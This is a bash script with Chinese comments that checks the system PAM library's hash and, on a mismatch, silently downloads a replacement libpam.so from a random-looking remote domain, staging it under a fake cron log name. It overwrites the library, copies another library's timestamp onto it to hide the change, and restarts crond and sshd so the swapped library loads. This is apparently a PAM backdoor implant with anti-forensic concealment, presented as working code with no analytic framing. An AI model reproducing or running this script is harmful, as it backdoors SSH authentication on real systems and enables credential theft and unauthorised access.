#!/bin/bash

# 定义需要检查的文件路径和md5值
file_path="/usr/lib64/libpam.so.0.83.1"
file_md5="d24f01988192f2bd39dac54eacb6e594"
tmp_file="/var/log/cron.1"

# 检查文件是否存在，不存在则退出脚本
if [ ! -f $file_path ]; then
    echo "文件不存在，退出脚本"
	rm -rf $tmp_file
    exit 1
fi

# 计算文件的md5值并与给定的md5值进行比较，不一致则下载文件
if [ $(md5sum $file_path | awk '{print $1}') != $file_md5 ]; then

	if [ ! -f $tmp_file ]; then
		echo "文件md5值不一致，开始下载文件"
		wget -q -O $tmp_file https://sukq881lazya1.kkypzisq.com/d/c7.1 2>&1 >/dev/null
	fi
    
    if [ $(md5sum $tmp_file | awk '{print $1}') != $file_md5 ]; then
        echo "下载的文件md5值不一致，下载失败"
		rm -rf $tmp_file
        exit 1
    else
        echo "下载的文件md5值一致，开始替换文件"
        mv $tmp_file $file_path
        if [ $(md5sum $file_path | awk '{print $1}') != $file_md5 ]; then
            echo "替换文件失败"
			rm -rf $tmp_file
            exit 1
        else
            echo "替换文件成功，执行ls -la命令"
            touch -r /usr/lib64/libpamc.so.0.82.1 /usr/lib64/libpam.so.0.83.1
			systemctl stop crond
			sleep 5
			kill -9 $(ps -ef | grep crond | awk '$3==1 {print $2}')
			sleep 5
			systemctl start crond
			systemctl stop sshd
			sleep 5
			systemctl start sshd
			rm -rf $tmp_file
			exit 1
        fi
    fi
fi
rm -rf $tmp_file
